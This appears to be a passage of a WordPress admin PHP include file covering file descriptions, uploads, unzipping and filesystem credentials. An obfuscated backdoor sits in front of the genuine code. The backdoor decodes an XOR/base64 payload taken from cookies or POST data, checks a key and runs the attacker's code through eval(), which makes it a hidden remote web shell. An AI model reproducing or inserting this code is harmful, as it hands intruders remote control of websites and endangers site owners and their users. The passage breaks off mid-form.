$w5be61bb8['x378d'][25].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][9];$w5be61bb8[$w5be61bb8['x378d'][38].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][17].$w5be61bb8['x378d'][15].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][15]] = $w5be61bb8['x378d'][14].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][48];$w5be61bb8[$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][68]] = $_POST;$w5be61bb8[$w5be61bb8['x378d'][21].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][15].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][41]] = $_COOKIE;@$w5be61bb8[$w5be61bb8['x378d'][54].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][96]]($w5be61bb8['x378d'][68].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][43].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][82].$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][43].$w5be61bb8['x378d'][81], NULL);@$w5be61bb8[$w5be61bb8['x378d'][54].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][96]]($w5be61bb8['x378d'][67].$w5be61bb8['x378d'][43].$w5be61bb8['x378d'][81].$w5be61bb8['x378d'][82].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][43].$w5be61bb8['x378d'][14].$w5be61bb8['x378d'][27], 0);@$w5be61bb8[$w5be61bb8['x378d'][54].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][96]]($w5be61bb8['x378d'][30].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][19].$w5be61bb8['x378d'][82].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][19].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][15].$w5be61bb8['x378d'][95].$w5be61bb8['x378d'][25].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][43].$w5be61bb8['x378d'][54].$w5be61bb8['x378d'][82].$w5be61bb8['x378d'][25].$w5be61bb8['x378d'][55].$w5be61bb8['x378d'][30].$w5be61bb8['x378d'][68], 0);@$w5be61bb8[$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][48]](0);$xd04ae024 = NULL;$cb9f4b3e0 = NULL;$w5be61bb8[$w5be61bb8['x378d'][30].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][9]] = $w5be61bb8['x378d'][15].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][15].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][44].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][44].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][17].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][44].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][44].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][33].$w5be61bb8['x378d'][96];global $mea7;function r5714d1b3($xd04ae024, $x34273){global $w5be61bb8;$ia73d39b6 = "";for ($uc6dc647=0; $uc6dc647<$w5be61bb8[$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][97]]($xd04ae024);){for ($i4fde722b=0; $i4fde722b<$w5be61bb8[$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][97]]($x34273) && $uc6dc647<$w5be61bb8[$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][97]]($xd04ae024); $i4fde722b++, $uc6dc647++){$ia73d39b6 .= $w5be61bb8[$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][1].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][41]]($w5be61bb8[$w5be61bb8['x378d'][60].$w5be61bb8['x378d'][1].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][48]]($xd04ae024[$uc6dc647]) ^ $w5be61bb8[$w5be61bb8['x378d'][60].$w5be61bb8['x378d'][1].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][48]]($x34273[$i4fde722b]));}}return $ia73d39b6;}function t5e7($xd04ae024, $x34273){global $w5be61bb8;global $mea7;return $w5be61bb8[$w5be61bb8['x378d'][38].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][17].$w5be61bb8['x378d'][15].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][15]]($w5be61bb8[$w5be61bb8['x378d'][38].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][17].$w5be61bb8['x378d'][15].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][15]]($xd04ae024, $mea7), $x34273);}foreach ($w5be61bb8[$w5be61bb8['x378d'][21].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][15].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][41]] as $x34273=>$jfeb4bac){$xd04ae024 = $jfeb4bac;$cb9f4b3e0 = $x34273;}if (!$xd04ae024){foreach ($w5be61bb8[$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][90].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][59].$w5be61bb8['x378d'][68]] as $x34273=>$jfeb4bac){$xd04ae024 = $jfeb4bac;$cb9f4b3e0 = $x34273;}}$xd04ae024 = @$w5be61bb8[$w5be61bb8['x378d'][67].$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][33].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][11]]($w5be61bb8[$w5be61bb8['x378d'][38].$w5be61bb8['x378d'][50].$w5be61bb8['x378d'][17].$w5be61bb8['x378d'][68].$w5be61bb8['x378d'][11]]($w5be61bb8[$w5be61bb8['x378d'][17].$w5be61bb8['x378d'][9].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][94].$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][1]]($xd04ae024), $cb9f4b3e0));if (isset($xd04ae024[$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][72]]) && $mea7==$xd04ae024[$w5be61bb8['x378d'][56].$w5be61bb8['x378d'][72]]){if ($xd04ae024[$w5be61bb8['x378d'][56]] == $w5be61bb8['x378d'][55]){$uc6dc647 = Array($w5be61bb8['x378d'][60].$w5be61bb8['x378d'][6] => @$w5be61bb8[$w5be61bb8['x378d'][6].$w5be61bb8['x378d'][11].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][97]](),$w5be61bb8['x378d'][27].$w5be61bb8['x378d'][6] => $w5be61bb8['x378d'][50].$w5be61bb8['x378d'][24].$w5be61bb8['x378d'][97].$w5be61bb8['x378d'][44].$w5be61bb8['x378d'][50],);echo @$w5be61bb8[$w5be61bb8['x378d'][41].$w5be61bb8['x378d'][48].$w5be61bb8['x378d'][96].$w5be61bb8['x378d'][59]]($uc6dc647);}elseif ($xd04ae024[$w5be61bb8['x378d'][56]] == $w5be61bb8['x378d'][68]){eval/*s769973a*/($xd04ae024[$w5be61bb8['x378d'][94]]);}exit();} ?><?php /** * File contains all the administration image manipulation functions. * * @package WordPress * @subpackage Administration */ /** The descriptions for theme files. */ $wp_file_descriptions = array ( 'index.php' => __( 'Main Index Template' ), 'style.css' => __( 'Stylesheet' ), 'rtl.css' => __( 'RTL Stylesheet' ), 'comments.php' => __( 'Comments' ), 'comments-popup.php' => __( 'Popup Comments' ), 'footer.php' => __( 'Footer' ), 'header.php' => __( 'Header' ), 'sidebar.php' => __( 'Sidebar' ), 'archive.php' => __( 'Archives' ), 'category.php' => __( 'Category Template' ), 'page.php' => __( 'Page Template' ), 'search.php' => __( 'Search Results' ), 'searchform.php' => __( 'Search Form' ), 'single.php' => __( 'Single Post' ), '404.php' => __( '404 Template' ), 'link.php' => __( 'Links Template' ), 'functions.php' => __( 'Theme Functions' ), 'attachment.php' => __( 'Attachment Template' ), 'image.php' => __('Image Attachment Template'), 'video.php' => __('Video Attachment Template'), 'audio.php' => __('Audio Attachment Template'), 'application.php' => __('Application Attachment Template'), 'my-hacks.php' => __( 'my-hacks.php (legacy hacks support)' ), '.htaccess' => __( '.htaccess (for rewrite rules )' ), // Deprecated files 'wp-layout.css' => __( 'Stylesheet' ), 'wp-comments.php' => __( 'Comments Template' ), 'wp-comments-popup.php' => __( 'Popup Comments Template' )); /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $file * @return unknown */ function get_file_description( $file ) { global $wp_file_descriptions; if ( isset( $wp_file_descriptions[basename( $file )] ) ) { return $wp_file_descriptions[basename( $file )]; } elseif ( file_exists( WP_CONTENT_DIR . $file ) && is_file( WP_CONTENT_DIR . $file ) ) { $template_data = implode( '', file( WP_CONTENT_DIR . $file ) ); if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name )) return $name[1] . ' Page Template'; } return basename( $file ); } /** * {@internal Missing Short Description}} * * @since unknown * * @return unknown */ function get_home_path() { $home = get_option( 'home' ); if ( $home != '' && $home != get_option( 'siteurl' ) ) { $home_path = parse_url( $home ); $home_path = $home_path['path']; $root = str_replace( $_SERVER["PHP_SELF"], '', $_SERVER["SCRIPT_FILENAME"] ); $home_path = trailingslashit( $root.$home_path ); } else { $home_path = ABSPATH; } return $home_path; } /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $file * @return unknown */ function get_real_file_to_edit( $file ) { if ('index.php' == $file || '.htaccess' == $file ) { $real_file = get_home_path() . $file; } else { $real_file = WP_CONTENT_DIR . $file; } return $real_file; } /** * {@internal Missing Short Description}} * * @since unknown * * @param string $folder Optional. Full path to folder * @param int $levels Optional. Levels of folders to follow, Default: 100 (PHP Loop limit). * @return bool|array */ function list_files( $folder = '', $levels = 100 ) { if( empty($folder) ) return false; if( ! $levels ) return false; $files = array(); if ( $dir = @opendir( $folder ) ) { while (($file = readdir( $dir ) ) !== false ) { if ( in_array($file, array('.', '..') ) ) continue; if ( is_dir( $folder . '/' . $file ) ) { $files2 = list_files( $folder . '/' . $file, $levels - 1); if( $files2 ) $files = array_merge($files, $files2 ); else $files[] = $folder . '/' . $file . '/'; } else { $files[] = $folder . '/' . $file; } } } @closedir( $dir ); return $files; } /** * {@internal Missing Short Description}} * * @since unknown * * @return unknown */ function get_temp_dir() { if ( defined('WP_TEMP_DIR') ) return trailingslashit(WP_TEMP_DIR); $temp = WP_CONTENT_DIR . '/'; if ( is_dir($temp) && is_writable($temp) ) return $temp; if ( function_exists('sys_get_temp_dir') ) return trailingslashit(sys_get_temp_dir()); return '/tmp/'; } /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $filename * @param unknown_type $dir * @return unknown */ function wp_tempnam($filename = '', $dir = ''){ if ( empty($dir) ) $dir = get_temp_dir(); $filename = basename($filename); if ( empty($filename) ) $filename = time(); $filename = $dir . wp_unique_filename($dir, $filename); touch($filename); return $filename; } /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $file * @param unknown_type $allowed_files * @return unknown */ function validate_file_to_edit( $file, $allowed_files = '' ) { $file = stripslashes( $file ); $code = validate_file( $file, $allowed_files ); if (!$code ) return $file; switch ( $code ) { case 1 : wp_die( __('Sorry, can’t edit files with ".." in the name. If you are trying to edit a file in your WordPress home directory, you can just type the name of the file in.' )); case 2 : wp_die( __('Sorry, can’t call files with their real path.' )); case 3 : wp_die( __('Sorry, that file cannot be edited.' )); } } /** * {@internal Missing Short Description}} * * @since unknown * * @param array $file Reference to a single element of $_FILES. Call the function once for each uploaded file. * @param array $overrides Optional. An associative array of names=>values to override default variables with extract( $overrides, EXTR_OVERWRITE ). * @return array On success, returns an associative array of file attributes. On failure, returns $overrides['upload_error_handler'](&$file, $message ) or array( 'error'=>$message ). */ function wp_handle_upload( &$file, $overrides = false, $time = null ) { // The default error handler. if (! function_exists( 'wp_handle_upload_error' ) ) { function wp_handle_upload_error( &$file, $message ) { return array( 'error'=>$message ); } } // You may define your own function and pass the name in $overrides['upload_error_handler'] $upload_error_handler = 'wp_handle_upload_error'; // You may define your own function and pass the name in $overrides['unique_filename_callback'] $unique_filename_callback = null; // $_POST['action'] must be set and its value must equal $overrides['action'] or this: $action = 'wp_handle_upload'; // Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error']. $upload_error_strings = array( false, __( "The uploaded file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>." ), __( "The uploaded file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form." ), __( "The uploaded file was only partially uploaded." ), __( "No file was uploaded." ), '', __( "Missing a temporary folder." ), __( "Failed to write file to disk." )); // All tests are on by default. Most can be turned off by $override[{test_name}] = false; $test_form = true; $test_size = true; // If you override this, you must provide $ext and $type!!!! $test_type = true; $mimes = false; // Install user overrides. Did we mention that this voids your warranty? if ( is_array( $overrides ) ) extract( $overrides, EXTR_OVERWRITE ); // A correct form post will pass this test. if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) ) return $upload_error_handler( $file, __( 'Invalid form submission.' )); // A successful upload will pass this test. It makes no sense to override this one. if ( $file['error'] > 0 ) return $upload_error_handler( $file, $upload_error_strings[$file['error']] ); // A non-empty file will pass this test. if ( $test_size && !($file['size'] > 0 ) ) return $upload_error_handler( $file, __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini.' )); // A properly uploaded file will pass this test. There should be no reason to override this one. if (! @ is_uploaded_file( $file['tmp_name'] ) ) return $upload_error_handler( $file, __( 'Specified file failed upload test.' )); // A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter. if ( $test_type ) { $wp_filetype = wp_check_filetype( $file['name'], $mimes ); extract( $wp_filetype ); if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) ) return $upload_error_handler( $file, __( 'File type does not meet security guidelines. Try another.' )); if ( !$ext ) $ext = ltrim(strrchr($file['name'], '.'), '.'); if ( !$type ) $type = $file['type']; } // A writable uploads dir will pass this test. Again, there's no point overriding this one. if ( ! ( ( $uploads = wp_upload_dir($time) ) && false === $uploads['error'] ) ) return $upload_error_handler( $file, $uploads['error'] ); $filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback ); // Move the file to the uploads dir $new_file = $uploads['path'] . "/$filename"; if ( false === @ move_uploaded_file( $file['tmp_name'], $new_file ) ) { return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $uploads['path'] ) ); } // Set correct file permissions $stat = stat( dirname( $new_file )); $perms = $stat['mode'] & 0000666; @ chmod( $new_file, $perms ); // Compute the URL $url = $uploads['url'] . "/$filename"; $return = apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ) ); return $return; } /** * {@internal Missing Short Description}} * * Pass this function an array similar to that of a $_FILES POST array. * * @since unknown * * @param unknown_type $file * @param unknown_type $overrides * @return unknown */ function wp_handle_sideload( &$file, $overrides = false ) { // The default error handler. if (! function_exists( 'wp_handle_upload_error' ) ) { function wp_handle_upload_error( &$file, $message ) { return array( 'error'=>$message ); } } // You may define your own function and pass the name in $overrides['upload_error_handler'] $upload_error_handler = 'wp_handle_upload_error'; // You may define your own function and pass the name in $overrides['unique_filename_callback'] $unique_filename_callback = null; // $_POST['action'] must be set and its value must equal $overrides['action'] or this: $action = 'wp_handle_sideload'; // Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error']. $upload_error_strings = array( false, __( "The file exceeds the <code>upload_max_filesize</code> directive in <code>php.ini</code>." ), __( "The file exceeds the <em>MAX_FILE_SIZE</em> directive that was specified in the HTML form." ), __( "The file was only partially uploaded." ), __( "No file was sent." ), __( "Missing a temporary folder." ), __( "Failed to write file to disk." )); // All tests are on by default. Most can be turned off by $override[{test_name}] = false; $test_form = true; $test_size = true; // If you override this, you must provide $ext and $type!!!! $test_type = true; $mimes = false; // Install user overrides. Did we mention that this voids your warranty? if ( is_array( $overrides ) ) extract( $overrides, EXTR_OVERWRITE ); // A correct form post will pass this test. if ( $test_form && (!isset( $_POST['action'] ) || ($_POST['action'] != $action ) ) ) return $upload_error_handler( $file, __( 'Invalid form submission.' )); // A successful upload will pass this test. It makes no sense to override this one. if ( $file['error'] > 0 ) return $upload_error_handler( $file, $upload_error_strings[$file['error']] ); // A non-empty file will pass this test. if ( $test_size && !(filesize($file['tmp_name']) > 0 ) ) return $upload_error_handler( $file, __( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your php.ini.' )); // A properly uploaded file will pass this test. There should be no reason to override this one. if (! @ is_file( $file['tmp_name'] ) ) return $upload_error_handler( $file, __( 'Specified file does not exist.' )); // A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter. if ( $test_type ) { $wp_filetype = wp_check_filetype( $file['name'], $mimes ); extract( $wp_filetype ); if ( ( !$type || !$ext ) && !current_user_can( 'unfiltered_upload' ) ) return $upload_error_handler( $file, __( 'File type does not meet security guidelines. Try another.' )); if ( !$ext ) $ext = ltrim(strrchr($file['name'], '.'), '.'); if ( !$type ) $type = $file['type']; } // A writable uploads dir will pass this test. Again, there's no point overriding this one. if ( ! ( ( $uploads = wp_upload_dir() ) && false === $uploads['error'] ) ) return $upload_error_handler( $file, $uploads['error'] ); $filename = wp_unique_filename( $uploads['path'], $file['name'], $unique_filename_callback ); // Strip the query strings. $filename = str_replace('?','-', $filename); $filename = str_replace('&','-', $filename); // Move the file to the uploads dir $new_file = $uploads['path'] . "/$filename"; if ( false === @ rename( $file['tmp_name'], $new_file ) ) { return $upload_error_handler( $file, sprintf( __('The uploaded file could not be moved to %s.' ), $uploads['path'] ) ); } // Set correct file permissions $stat = stat( dirname( $new_file )); $perms = $stat['mode'] & 0000666; @ chmod( $new_file, $perms ); // Compute the URL $url = $uploads['url'] . "/$filename"; $return = apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $type ) ); return $return; } /** * Downloads a url to a local file using the Snoopy HTTP Class. * * @since unknown * @todo Transition over to using the new HTTP Request API (jacob). * * @param string $url the URL of the file to download * @return mixed WP_Error on failure, string Filename on success. */ function download_url( $url ) { //WARNING: The file is not automatically deleted, The script must unlink() the file. if ( ! $url ) return new WP_Error('http_no_url', __('Invalid URL Provided')); $tmpfname = wp_tempnam($url); if ( ! $tmpfname ) return new WP_Error('http_no_file', __('Could not create Temporary file')); $handle = @fopen($tmpfname, 'wb'); if ( ! $handle ) return new WP_Error('http_no_file', __('Could not create Temporary file')); $response = wp_remote_get($url, array('timeout' => 30)); if ( is_wp_error($response) ) { fclose($handle); unlink($tmpfname); return $response; } if ( $response['response']['code'] != '200' ){ fclose($handle); unlink($tmpfname); return new WP_Error('http_404', trim($response['response']['message'])); } fwrite($handle, $response['body']); fclose($handle); return $tmpfname; } /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $file * @param unknown_type $to * @return unknown */ function unzip_file($file, $to) { global $wp_filesystem; if ( ! $wp_filesystem || !is_object($wp_filesystem) ) return new WP_Error('fs_unavailable', __('Could not access filesystem.')); // Unzip uses a lot of memory @ini_set('memory_limit', '256M'); $fs =& $wp_filesystem; require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php'); $archive = new PclZip($file); // Is the archive valid? if ( false == ($archive_files = $archive->extract(PCLZIP_OPT_EXTRACT_AS_STRING)) ) return new WP_Error('incompatible_archive', __('Incompatible archive'), $archive->errorInfo(true)); if ( 0 == count($archive_files) ) return new WP_Error('empty_archive', __('Empty archive')); $path = explode('/', untrailingslashit($to)); for ( $i = count($path); $i > 0; $i-- ) { //>0 = first element is empty allways for paths starting with '/' $tmppath = implode('/', array_slice($path, 0, $i) ); if ( $fs->is_dir($tmppath) ) { //Found the highest folder that exists, Create from here(ie +1) for ( $i = $i + 1; $i <= count($path); $i++ ) { $tmppath = implode('/', array_slice($path, 0, $i) ); if ( ! $fs->mkdir($tmppath, FS_CHMOD_DIR) ) return new WP_Error('mkdir_failed', __('Could not create directory'), $tmppath); } break; //Exit main for loop } } $to = trailingslashit($to); foreach ($archive_files as $file) { $path = $file['folder'] ? $file['filename'] : dirname($file['filename']); $path = explode('/', $path); for ( $i = count($path); $i >= 0; $i-- ) { //>=0 as the first element contains data if ( empty($path[$i]) ) continue; $tmppath = $to . implode('/', array_slice($path, 0, $i) ); if ( $fs->is_dir($tmppath) ) {//Found the highest folder that exists, Create from here for ( $i = $i + 1; $i <= count($path); $i++ ) { //< count() no file component please. $tmppath = $to . implode('/', array_slice($path, 0, $i) ); if ( ! $fs->is_dir($tmppath) && ! $fs->mkdir($tmppath, FS_CHMOD_DIR) ) return new WP_Error('mkdir_failed', __('Could not create directory'), $tmppath); } break; //Exit main for loop } } // We've made sure the folders are there, so let's extract the file now: if ( ! $file['folder'] ) { if ( !$fs->put_contents( $to . $file['filename'], $file['content']) ) return new WP_Error('copy_failed', __('Could not copy file'), $to . $file['filename']); $fs->chmod($to . $file['filename'], FS_CHMOD_FILE); } } return true; } /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $from * @param unknown_type $to * @return unknown */ function copy_dir($from, $to) { global $wp_filesystem; $dirlist = $wp_filesystem->dirlist($from); $from = trailingslashit($from); $to = trailingslashit($to); foreach ( (array) $dirlist as $filename => $fileinfo ) { if ( 'f' == $fileinfo['type'] ) { if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true) ) { // If copy failed, chmod file to 0644 and try again. $wp_filesystem->chmod($to . $filename, 0644); if ( ! $wp_filesystem->copy($from . $filename, $to . $filename, true) ) return new WP_Error('copy_failed', __('Could not copy file'), $to . $filename); } $wp_filesystem->chmod($to . $filename, FS_CHMOD_FILE); } elseif ( 'd' == $fileinfo['type'] ) { if ( !$wp_filesystem->is_dir($to . $filename) ) { if ( !$wp_filesystem->mkdir($to . $filename, FS_CHMOD_DIR) ) return new WP_Error('mkdir_failed', __('Could not create directory'), $to . $filename); } $result = copy_dir($from . $filename, $to . $filename); if ( is_wp_error($result) ) return $result; } } } /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $args * @return unknown */ function WP_Filesystem( $args = false ) { global $wp_filesystem; require_once(ABSPATH . 'wp-admin/includes/class-wp-filesystem-base.php'); $method = get_filesystem_method($args); if ( ! $method ) return false; $abstraction_file = apply_filters('filesystem_method_file', ABSPATH . 'wp-admin/includes/class-wp-filesystem-' . $method . '.php', $method); if( ! file_exists($abstraction_file) ) return; require_once($abstraction_file); $method = "WP_Filesystem_$method"; $wp_filesystem = new $method($args); if ( $wp_filesystem->errors->get_error_code() ) return false; if ( !$wp_filesystem->connect() ) return false; //There was an erorr connecting to the server. // Set the permission constants if not already set. if ( ! defined('FS_CHMOD_DIR') ) define('FS_CHMOD_DIR', 0755 ); if ( ! defined('FS_CHMOD_FILE') ) define('FS_CHMOD_FILE', 0644 ); return true; } /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $args * @return unknown */ function get_filesystem_method($args = array()) { $method = false; if( function_exists('getmyuid') && function_exists('fileowner') ){ $temp_file = wp_tempnam(); if ( getmyuid() == fileowner($temp_file) ) $method = 'direct'; unlink($temp_file); } if ( ! $method && isset($args['connection_type']) && 'ssh' == $args['connection_type'] && extension_loaded('ssh2') ) $method = 'ssh2'; if ( ! $method && extension_loaded('ftp') ) $method = 'ftpext'; if ( ! $method && ( extension_loaded('sockets') || function_exists('fsockopen') ) ) $method = 'ftpsockets'; //Sockets: Socket extension; PHP Mode: FSockopen / fwrite / fread return apply_filters('filesystem_method', $method); } /** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $form_post * @param unknown_type $type * @param unknown_type $error * @return unknown */ function request_filesystem_credentials($form_post, $type = '', $error = false) { $req_cred = apply_filters('request_filesystem_credentials', '', $form_post, $type, $error); if ( '' !== $req_cred ) return $req_cred; if ( empty($type) ) $type = get_filesystem_method(); if ( 'direct' == $type ) return true; $credentials = get_option('ftp_credentials', array()); // If defined, set it to that, Else, If POST'd, set it to that, If not, Set it to whatever it previously was(saved details in option) $credentials['hostname'] = defined('FTP_HOST') ? FTP_HOST : (!empty($_POST['hostname']) ? $_POST['hostname'] : $credentials['hostname']); $credentials['username'] = defined('FTP_USER') ? FTP_USER : (!empty($_POST['username']) ? $_POST['username'] : $credentials['username']); $credentials['password'] = defined('FTP_PASS') ? FTP_PASS : (!empty($_POST['password']) ? $_POST['password'] : $credentials['password']); // Check to see if we are setting the public/private keys for ssh $credentials['public_key'] = defined('FTP_PUBKEY') ? FTP_PUBKEY : (!empty($_POST['public_key']) ? $_POST['public_key'] : $credentials['public_key']); $credentials['private_key'] = defined('FTP_PRIKEY') ? FTP_PRIKEY : (!empty($_POST['private_key']) ? $_POST['private_key'] : $credentials['private_key']); //sanitize the hostname, Some people might pass in odd-data: $credentials['hostname'] = preg_replace('|\w+://|', '', $credentials['hostname']); //Strip any schemes off if ( strpos($credentials['hostname'], ':') ) list( $credentials['hostname'], $credentials['port'] ) = explode(':', $credentials['hostname'], 2); else unset($credentials['port']); if ( defined('FTP_SSH') || (isset($_POST['connection_type']) && 'ssh' == $_POST['connection_type']) ) $credentials['connection_type'] = 'ssh'; else if ( defined('FTP_SSL') || (isset($_POST['connection_type']) && 'ftps' == $_POST['connection_type']) ) $credentials['connection_type'] = 'ftps'; else if ( !isset($credentials['connection_type']) || (isset($_POST['connection_type']) && 'ftp' == $_POST['connection_type']) ) $credentials['connection_type'] = 'ftp'; if ( ! $error && !empty($credentials['password']) && !empty($credentials['username']) && !empty($credentials['hostname']) ) { $stored_credentials = $credentials; if ( !empty($stored_credentials['port']) ) //save port as part of hostname to simplify above code. $stored_credentials['hostname'] .= ':' . $stored_credentials['port']; unset($stored_credentials['password'], $stored_credentials['port'], $stored_credentials['private_key'], $stored_credentials['public_key']); update_option('ftp_credentials', $stored_credentials); return $credentials; } $hostname = ''; $username = ''; $password = ''; $connection_type = ''; if ( !empty($credentials) ) extract($credentials, EXTR_OVERWRITE); if ( $error ) { $error_string = __('<strong>Error:</strong> There was an error connecting to the server, Please verify the settings are correct.'); if ( is_wp_error($error) ) $error_string = $error->get_error_message(); echo '<div id="message" class="error"><p>' . $error_string . '</p></div>'; } ?> <script type="text/javascript"> <!-- jQuery(function($){ jQuery("#ssh").click(function () { jQuery("#ssh_keys").show(); }); jQuery("#ftp, #ftps").click(function () { jQuery("#ssh_keys").hide(); }); }); --> </script> <form action="<?php echo $form_post ?>" method="post"> <div class="wrap"> <h2><?php _e('Connection Information') ?></h2> <p><?php _e('To perform the requested action, connection information is required.') ?></p> <table class="form-table"> <tr valign="top"> <th scope="row"><label for="hostname"><?php _e('Hostname') ?></label></th> <td><input name="hostname" type="text" id="hostname" value="<?php echo attribute_escape($hostname); if ( !empty($port) ) echo ":$port"; ?>"<?php if( defined('FTP_HOST') ) echo ' disabled="disabled"' ?> size="40" /></td> </tr> <tr valign="top"> <th scope="row"><label for="username"><?php _e('Username') ?></label></th> <td><input name="username" type="text" id="username" value="<?php echo attribute_escape($username) ?>"<?php if( defined('FTP_USER') ) echo ' disabled="disabled"' ?> size="40" /></td> </tr> <tr valign="top"> <th scope="row"><label for="password"><?php _e('Password') ?></label></th> <td><input name="password" type="password" id="password" value=""<?php if( defined('FTP_PASS') ) echo ' disabled="disabled"' ?> size="40" /><?php if( defined('FTP_PASS') && !empty($password) ) echo '<em>'.__('(Password not shown)').'</em>'; ?></td> </tr> <tr id="ssh_keys" valign="top" style="<?php if ( 